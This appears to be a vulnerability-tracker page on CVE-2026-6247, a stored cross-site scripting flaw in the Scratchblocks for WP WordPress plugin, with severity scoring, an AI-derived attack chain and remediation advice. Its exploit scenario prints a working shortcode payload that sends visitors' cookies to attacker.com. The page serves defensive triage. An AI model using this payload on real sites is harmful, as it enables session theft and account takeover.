Skip to main content

Scratchblocks for WP EUVDEUVD-2026-29402

| CVE-2026-6247 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-12 Wordfence GHSA-54wj-7676-6jj4
6.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Compromise WordPress contributor account
  2. Delivery
    Create/edit post with malicious scratchblocks shortcode
  3. Exploit
    Inject XSS payload in 'element' attribute
  4. Install
    Publish post containing shortcode
  5. C2
    Victim views page
  6. Execute
    Browser executes injected script
  7. Impact
    Attacker steals session/cookies or performs privilege escalation

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires authenticated access to WordPress with contributor-level privileges (PR:L in CVSS) - specifically the ability to create or edit posts/pages and insert shortcodes. The vulnerability is triggered when the affected plugin processes shortcodes on the 'element' attribute without sanitization or escaping, which occurs on all installations where the plugin is activated in versions 1.0.1 and earlier. No special configuration or non-default settings are required; the plugin processes the vulnerable shortcode automatically when pages containing it are rendered. The limiting factor is the authentication barrier: only users with contributor role or above (contributor, author, editor, admin) can inject the malicious shortcode. Public-facing sites without such user accounts, or sites with strictly audited contributor permissions, face reduced risk. Conversely, multisite WordPress installations with numerous contributor-level users, or sites with freelancer/contractor access, face higher real-world risk despite the authentication requirement.

Impact

The CVSS 6.4 score reflects moderate risk with several key contextual factors. The attack vector is network-based (AV:N) and requires low complexity (AC:L), but critically depends on prior authentication (PR:L - contributor-level minimum) and no user interaction (UI:N) beyond viewing a page. The scope is changed (S:C), meaning the vulnerability can affect confidentiality and integrity of other users' sessions or data. The EPSS, SSVC, and KEV status are not provided in the input, so the exploitation likelihood beyond the CVSS baseline cannot be independently assessed. However, Stored XSS vulnerabilities in content management systems are systematically exploited because they require minimal attacker skill once access is obtained and automatically compromise all viewers. The authentication requirement (PR:L) significantly limits the threat surface to sites with compromised or malicious contributor accounts, which is a realistic but bounded risk in multi-author WordPress installations. The absence of POC confirmation or active exploitation data does not indicate low risk - Stored XSS in WordPress plugins is routinely weaponized post-discovery. The UI:N factor means no social engineering is required; the attack is fully automated upon page view.

Exploit ScenarioDerived

An attacker with a compromised or malicious WordPress contributor account (e.g., hired freelancer, internal threat) creates or edits a post containing the malicious shortcode: [scratchblocks element='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>']. Due to insufficient escaping, when any user (including administrators) views the published page, the injected script executes in their browser, exfiltrating session cookies or performing account hijacking without any further user interaction required.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 12, 2026

Stored Cross-Site Scripting in Scratchblocks for WP plugin for WordPress allows authenticated contributors and above to inject arbitrary JavaScript through the 'element' attribute of the 'scratchblocks' shortcode due to insufficient input sanitization and output escaping. The vulnerability affects all versions up to 1.0.1 and enables malicious scripts to execute in the browsers of all users viewing affected pages, with cross-site scope impact.

RemediationAI

Update the Scratchblocks for WP plugin to a patched version released after 1.0.1 immediately. Check the WordPress Plugin Directory or the plugin's GitHub/official repository for the latest release that includes input sanitization via wp_kses_post() or sanitize_text_field() for the 'element' attribute and proper output escaping via esc_attr() or esc_html() depending on the context where 'element' is rendered. If an updated version is not available, deactivate and remove the plugin from production environments. As a temporary workaround pending patching, restrict contributor-level access to only trusted administrators by auditing WordPress user roles via wp-admin > Users and removing unnecessary contributor accounts. Additionally, implement Content Security Policy (CSP) headers that prohibit inline script execution (script-src 'self' only) to mitigate XSS payload execution even if injected. Be aware that CSP with 'self' may break plugin functionality if the plugin relies on inline scripts; coordinate testing before deployment. Reference: https://www.wordfence.com/threat-intel/vulnerabilities/id/cf64f1c5-257d-49b2-b626-eaa4592b8335

Affected VersionsENISA

scratchblocks for WP 0 ≤1.0.1

Affected Packages

euvd scratchblocks_for_wp no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in WordPress shortcode processing, specifically in the 'scratchblocks' shortcode handler that processes the 'element' attribute. WordPress shortcodes are a templating mechanism allowing users with publishing capabilities to embed dynamic content via square-bracket syntax (e.g., [scratchblocks element='value']). The plugin fails to sanitize user-supplied attribute values before storing them in the database (allowing persistence of the XSS payload) and fails to properly escape output when rendering the shortcode content. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) vulnerability where untrusted input flows directly into HTML output without sanitization or contextual escaping. The CPE indicates this affects the tkc49 Scratchblocks for WP plugin across all versions through 1.0.1.

Know when Scratchblocks For Wp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The scratchblocks for WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'element' attribute of the 'scratchblocks' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy